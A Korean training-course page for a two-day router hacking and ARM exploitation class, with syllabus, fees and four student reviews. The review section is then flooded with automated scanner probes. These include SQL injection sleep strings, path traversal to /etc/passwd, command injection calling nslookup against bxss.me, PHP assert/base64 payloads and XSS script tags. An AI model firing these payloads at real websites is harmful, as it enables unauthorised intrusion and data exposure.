Hardware Hacking - 공유기 해킹실습 (ARM Exploitaion)
 
강의 요약

    스마트플랫폼, 사무기기, 가전제품 등의 다양한 임베디드 기기들이 대중화 되고, 본격적인 사물인터넷(IoT)의 시대가 도래함에
    따라 하드웨어 해킹의 위협 또한 증가되고 있습니다. 본 트레이닝의 목적은 하드웨어 해킹의 원리를 이해하고, 단순히 하드웨어 해킹 툴을
    이용하는 수준을 넘어서 자신이 원하는 하드웨어 기반의 해킹 툴을 직접 만들 수 있는 능력을 키우는 것에 초점을 맞추고 있습니다.
    본 트레이닝은 AVR 프로그래밍, UART 해킹, ARM Exploitation, Firmware Dump, JTAG 해킹 등의 코스로 구성이 되어 있으며, 이들 중
    현재 보고계신 "ARM Exploitation" 주제에선 공유기의 취약점을 찾아내고 exploit하는 방법에 대해 배우게 됩니다.

기본 정보

    • 강의명 : Hardware Hacking - 공유기 해킹실습 (ARM Exploitaion)
    • 강사 : 정구홍 (Grayhash 수석 연구원, 해커스쿨 운영자)
    • 강의 일정 : 2017년 8월 17일(목) ~ 8월 18일(금)
    • 강의 시간 : 매일 오전 10시~오후 6시 (점심시간, 쉬는시간 포함 하루 8시간)
    • 강의 장소 : 분당구 정자동 Grayhash 트레이닝룸 [위치보기]
    • 수강 정원 : 10명 (최소 인원 5명)
    • 강의 비용 : 1,500,000원 (VAT 별도)
    • 중식 및 다과 제공

주요 교육 내용

    • 공유기 펌웨어 추출 및 분석
    • ARM Reversing & Exploitation    

상세 교육 내용


    1일차 - 공유기 취약점 분석

    • 공유기의 구조 이해
    • 타겟 디바이스의 펌웨어 획득 방법
    • 공유기 펌웨어 이미지 구조 분석
    • 파일 시스템 이미지 분석 및 바이너리 추출
    • 임베디드 리눅스의 구조 이해
    • 공유기의 취약점 유형들
    • 공유기 취약점 탐지 전략
    • 바이너리 정적/동적 분석 실습
    • Buffer Overflow 취약점 탐지 및 분석
    • 공유기 Remote Exploitation 공격 시연


    2일차 - 공유기 Remote Exploitation

    • ARM 실습 환경 구축
    • ARM Assembly 문법 설명
    • ARM Reverse Engineering 실습
    • ARM 환경에서의 Buffer Overflow Attack
    • ARM Shellcode 개발
    • ARM Exploit 개발     
    • gdb를 이용한 동적 디버깅 실습
    • uPnP를 이용한 원격 해킹
    • 공유기 Remote Exploitation 공격 실습
    • 공유기 취약점 악용 시나리오
    • 공유기 해킹 방지 방법


    * 상기 교육 내용은 상황에 따라 일부 변동될 수 있습니다.

교재 및 실습 장비 목록

    [교재]
    • 강의 PPT

    [기타]
    • 수료증(certificate) 발급

교육자 준비사항

    • 노트북
    • Software : PowerPoint 혹은 Acrobat Reader, Vmware



트레이닝 수강 후기

    * 이동현실습 >>>> 이론 | 직접 해보는 수업이 대부분이라 지루할 틈은 전혀 없었고요. 수석님 수업 스타일도 굉장히 잘 맞았던 지라 크게 어렵게 느껴진건 전혀 없었습니다. 여러모로 다시 생각해보면 이정도 금액에 이정도 퀄리티면 상당히 괜찮은 그리고 어디에서도 들을 수 없는 희소성있는 강의라고 생각해요. 1년동안 쓸 수 있는 체험학습을 모두 다 써버려서 이제 다시 듣기는 좀 힘들겠지만. 많은걸 배울 수 있었습니다. (중간중간 리얼월드 꿀팁도 주시는데 정말 도움 될 것 같습니다.) 감사합니다.
    * 이형범2년 전부터 듣고 싶던 강의 였던터라 2일 동안 즐겁게 수업 받았습니다.
강사님의 지식과 노하우를 통해 많은 도움을 얻었습니다.
이번 강의를 통해 ARM 기반 제품의 Firmware를 분석해 볼 수 있는 기본기가 생긴 것 같아 좋았습니다.
기회가 된다면, 다음에 UART 해킹이나 임베디드 장비 개발 실습 강의도 들어보고 싶습니다.
열심히 강의해주신 강사님께 감사드립니다.
    * yjpark임베디드에 대한 막연한 어려움이 있다면 본 강의를 추천합니다~! 필요한 내용만 쏙쏙! 그리고 궁금한 내용도 술술~ 임베디드 관련 지식을 정리할 수 있어서 많은 도움이 되었습니다. 번창하세요~
    * *Doll이틀간 너무~ 너무~ 알찬 강의였습니다:) 수많은 IoT 디바이스가 출시되고 있고, 개발 중인 현시점에서 IoT 디바이스가 어떻게 공격이 이루어지는지 이해할 수 있었던 좋은 강의였던 것 같습니다. 대상인 공유기를 해킹하는 방법을 알아보기 이전에 임베디드 기기의 펌웨어가 만들어지는 과정을 알아보는 시간이 정말 유익하였습니다. 설명으로만 끝나는게 아니라, 만들어지는 과정을 직접 실습을 통해 만들어보면서 임베디드 기기의 펌웨어가 어떻게 구성되는지 쉽게 이해할 수 있었습니다.
공유기를 해킹하는 시간에서는 경험하신 다양한 노하우를 바탕으로 설명을 해주셔서 많이 배울 수 있었습니다. 실제 임베디드 기기가 어떤 부분에서 취약점이 발생하는지, 펌웨어는 어떻게 획득할 수 있는지, 취약점을 분석하기 위해서는 어떻게 디버깅을 하는지 자세히 알 수 있었습니다. 그리고 ARM 어셈블리어를 익히고, Shellcode를 만드는 과정을 단계별로 알아보면서 Shellcode를 제작할 때 알아야할 많은 꿀팁을 배울 수 있었습니다.
이틀간 배운 내용을 잊어버리지 않기위해, 다시 정리하다 보니 인제야 후기를 남기게 됐습니다. :)
다른 하드웨어 해킹 트레이닝도 시간이 생기는 데로 수강해야 할 것 같습니다.
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqjiC6Qh3I
    * JCfUZQsq-1 OR 2+749-749-1=0+0+0+1 --
    * JCfUZQsq-1 OR 2+946-946-1=0+0+0+1
    * JCfUZQsq-1' OR 2+615-615-1=0+0+0+1 --
    * JCfUZQsq-1' OR 2+820-820-1=0+0+0+1 or 'rOn2fH28'='
    * JCfUZQsq-1" OR 2+568-568-1=0+0+0+1 --
    * JCfUZQsqif(now()=sysdate(),sleep(15),0)
    * JCfUZQsq0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    * JCfUZQsq0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    * JCfUZQsq(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    * JCfUZQsq-1; waitfor delay '0:0:15' --
    * JCfUZQsq-1); waitfor delay '0:0:15' --
    * JCfUZQsq1 waitfor delay '0:0:15' --
    * JCfUZQsqVvSp6qJI'; waitfor delay '0:0:15' --
    * JCfUZQsq-5 OR 997=(SELECT 997 FROM PG_SLEEP(15))--
    * JCfUZQsq-5) OR 503=(SELECT 503 FROM PG_SLEEP(15))--
    * JCfUZQsq-1)) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
    * JCfUZQsqHHFYhfO7' OR 724=(SELECT 724 FROM PG_SLEEP(15))--
    * JCfUZQsqYlLaiWIE') OR 502=(SELECT 502 FROM PG_SLEEP(15))--
    * JCfUZQsqQvbADQsX')) OR 228=(SELECT 228 FROM PG_SLEEP(15))--
    * JCfUZQsq555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    * JCfUZQsq555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    * JCfUZQsq1'"
    * JCfUZQsq1%2527%2522
    * JCfUZQsq@@yeAJv
    * JCfUZQsq555
    * JCfUZQsq555
    * Lew8wEpB555
    * -1 OR 2+953-953-1=0+0+0+1 --555
    * -1 OR 2+64-64-1=0+0+0+1555
    * -1' OR 2+724-724-1=0+0+0+1 --555
    * -1' OR 2+622-622-1=0+0+0+1 or 'y6kKvoE4'='555
    * -1" OR 2+78-78-1=0+0+0+1 --555
    * if(now()=sysdate(),sleep(15),0)555
    * 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z555
    * 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z555
    * (select(0)from(select(sleep(15)))v)/*'+(select(0)f555
    * 1 waitfor delay '0:0:15' --555
    * DeUlNcfO'; waitfor delay '0:0:15' --555
    * GlalWSnx' OR 413=(SELECT 413 FROM PG_SLEEP(15))--555
    * Y2g5AdKz') OR 115=(SELECT 115 FROM PG_SLEEP(15))--555
    * j4LJdRTD')) OR 950=(SELECT 950 FROM PG_SLEEP(15))-555
    * JCfUZQsq'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(555
    * 1'"555
    * 1%2527%2522555
    * @@wRxsr555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqresponse.write(9141632*9895206)
    * JCfUZQsq'+response.write(9141632*9895206)+'
    * JCfUZQsq"+response.write(9141632*9895206)+"
    * response.write(9946214*9605006)555
    * JCfUZQsq555
    * '+response.write(9946214*9605006)+'555
    * JCfUZQsq555
    * "+response.write(9946214*9605006)+"555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqk55dvq2L
    * JCfUZQsq555
    * JCfUZQsq555
    * qBYd3o5p555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq<esi:include src="http://bxss.me/rpb.pn555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq../../../../../../../../../../../../../../etc/passwd
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq555
    * JCfUZQsq${10000305+9999605}
    * JCfUZQsq../../../../../../../../../../../../../../windows/win.ini
    * JCfUZQsq555
    * JCfUZQsq12345'"\'\");|]*{
<>''💡
    * JCfUZQsq555
    * ${10000003+10000041}555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq
    * RTcyTXZjUnM=555
    * JCfUZQsq555
    * JCfUZQsq../555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * ../../../../../../../../../../../../../../etc/pass555
    * 12345'"\'\");|]*{ <>''💡555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * ../../../../../../../../../../../../../../windows/555
    * JCfUZQsqecho uspdot$()\ arrzho\nz^xyu||a #' &echo uspdot$()\ arrzho\nz^xyu||a #|" &echo uspdot$()\ arrzho\nz^xyu||a #
    * JCfUZQsq555&n963007=v924544
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq&echo fszoan$()\ gowwws\nz^xyu||a #' &echo fszoan$()\ gowwws\nz^xyu||a #|" &echo fszoan$()\ gowwws\nz^xyu||a #
    * JCfUZQsq&n961280=v907626555
    * JCfUZQsq555
    * ../JCfUZQsq555
    * JCfUZQsq|echo hgnqpy$()\ neeejb\nz^xyu||a #' |echo hgnqpy$()\ neeejb\nz^xyu||a #|" |echo hgnqpy$()\ neeejb\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq(nslookup hityuvrhpztlyae40b.bxss.me||perl -e "gethostbyname('hityuvrhpztlyae40b.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq$(nslookup hitxeuduawgxkabdb0.bxss.me||perl -e "gethostbyname('hitxeuduawgxkabdb0.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq1some_inexistent_file_with_long_name.jpg
    * JCfUZQsq&(nslookup hitpvrobkcofg512a7.bxss.me||perl -e "gethostbyname('hitpvrobkcofg512a7.bxss.me')")&'\"`0&(nslookup hitpvrobkcofg512a7.bxss.me||perl -e "gethostbyname('hitpvrobkcofg512a7.bxss.me')")&`'
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqHttp://bxss.me/t/fit.txt
    * JCfUZQsq|(nslookup hityczfbiwkflae1e4.bxss.me||perl -e "gethostbyname('hityczfbiwkflae1e4.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq`(nslookup hituugonrlozl93321.bxss.me||perl -e "gethostbyname('hituugonrlozl93321.bxss.me')")`
    * JCfUZQsq'.gethostbyname(lc('hittl'.'hfdgyhnt97d1a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(84).chr(110).chr(81).'
    * JCfUZQsq555
    * JCfUZQsq'"()
    * JCfUZQsq;(nslookup hitzxqzlmzmci7633a.bxss.me||perl -e "gethostbyname('hitzxqzlmzmci7633a.bxss.me')")|(nslookup hitzxqzlmzmci7633a.bxss.me||perl -e "gethostbyname('hitzxqzlmzmci7633a.bxss.me')")&(nslookup hitzxqzlmzmci7633a.bxss.me||perl -e "gethostbyname('hitzxqzlmzmci7633a.bxss.me')")
    * JCfUZQsqbxss.me
    * JCfUZQsq".gethostbyname(lc("hitdk"."hjqiiwmwf965e.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(70).chr(119).chr(87)."
    * JCfUZQsq)
    * echo fiqrhc$()\ ndagfs\nz^xyu||a #' &echo fiqrhc$(555
    * http://some-inexistent-website.acu/some_inexistent555
    * '.gethostbyname(lc('hitxb'.'gesdtubd3bff2.bxss.me.555
    * JCfUZQsq!(()&&!|*|*|
    * '"()555
    * &echo rjnfyy$()\ vgcnfj\nz^xyu||a #' &echo rjnfyy$555
    * 1some_inexistent_file_with_long_name.jpg555
    * ".gethostbyname(lc("hiteq"."snnzgdrx53121.bxss.me.555
    * JCfUZQsq^(#$!@#$)(()))******
    * JCfUZQsq555
    * |echo jaaiqm$()\ nuzxis\nz^xyu||a #' |echo jaaiqm$555
    * Http://bxss.me/t/fit.txt555
    * )555
    * JCfUZQsq555
    * JCfUZQsq555
    * (nslookup hitonllxypgrkf767c.bxss.me||perl -e "get555
    * http://bxss.me/t/fit.txt?.jpg555
    * !(()&&!|*|*|555
    * JCfUZQsq555
    * JCfUZQsq555
    * $(nslookup hitqhioqvkthy474b3.bxss.me||perl -e "ge555
    * bxss.me555
    * ^(#$!@#$)(()))******555
    * JCfUZQsq555
    * JCfUZQsq555
    * &(nslookup hitcpjbvykmji6f943.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * |(nslookup hitqsuqguadvq07fc4.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqHttP://bxss.me/t/xss.html?%00
    * JCfUZQsq555
    * `(nslookup hitrznrtwkcse0aef2.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqbxss.me/t/xss.html?%00
    * JCfUZQsq555
    * ;(nslookup hitatfhmeppklb3d85.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * JCfUZQsq555
    * HttP://bxss.me/t/xss.html?%00555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq"+"A".concat(70-3).concat(22*4).concat(114).concat(67).concat(106).concat(80)+(require"socket"
Socket.gethostbyname("hituw"+"smxvgpms530b3.bxss.me.")[3].to_s)+"
    * JCfUZQsq555
    * bxss.me/t/xss.html?%00555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq'+'A'.concat(70-3).concat(22*4).concat(120).concat(85).concat(104).concat(77)+(require'socket'
Socket.gethostbyname('hithq'+'tmoqhpfy82c2a.bxss.me.')[3].to_s)+'
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
    * "+"A".concat(70-3).concat(22*4).concat(101).concat555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqleave_comment.php
    * ))))))))))))))))))))))))))))))))))))))))))))))))))555
    * '+'A'.concat(70-3).concat(22*4).concat(106).concat555
    * JCfUZQsq555
    * JCfUZQsq/xfs.bxss.me
    * JCfUZQsqleave_comment.php
    * JCfUZQsq555
    * JCfUZQsq;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
    * JCfUZQsq555
    * /xfs.bxss.me555
    * JCfUZQsqleave_comment.php/.
    * JCfUZQsq555
    * JCfUZQsq';print(md5(31337));$a='
    * JCfUZQsq555
    * leave_comment.php555
    * JCfUZQsq555
    * JCfUZQsq";print(md5(31337));$a="
    * JCfUZQsq555
    * leave_comment.php555
    * JCfUZQsq555
    * JCfUZQsq${@print(md5(31337))}
    * JCfUZQsq555
    * JCfUZQsq'"
    * JCfUZQsq${@print(md5(31337))}\
    * JCfUZQsq555
    * leave_comment.php/.555
    * JCfUZQsq<!--
    * JCfUZQsq'.print(md5(31337)).'
    * JCfUZQsq555
    * '"555
    * ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'))555
    * JCfUZQsq555'"()&%<acx><ScRiPt >QgVv(9018)</ScRiPt>
    * <!--555
    * ';print(md5(31337));$a='555
    * JCfUZQsq'"()&%<acx><ScRiPt >QgVv(9151)</ScRiPt>
    * ";print(md5(31337));$a="555
    * JCfUZQsq5559218967
    * ${@print(md5(31337))}555
    * JCfUZQsq'"()&%<acx><ScRiPt >QgVv(9133)555
    * ${@print(md5(31337))}\555
    * '"()&%<acx><ScRiPt >QgVv(9195)</ScR555
    * '.print(md5(31337)).'555
    * JCfUZQsq9168976555
    * JCfUZQsq555
    * test";print(md5(31337));$a="
    * ../<script>alert(1)</script>
    * <script>
    * <script>alert(1)</script>
  * 작성자:       * 소속:       * 이메일:
   (성함, 혹은 닉네임을 입력해주세요. 입력해주신 정보들 중 작성자와 후기만 공개됩니다.)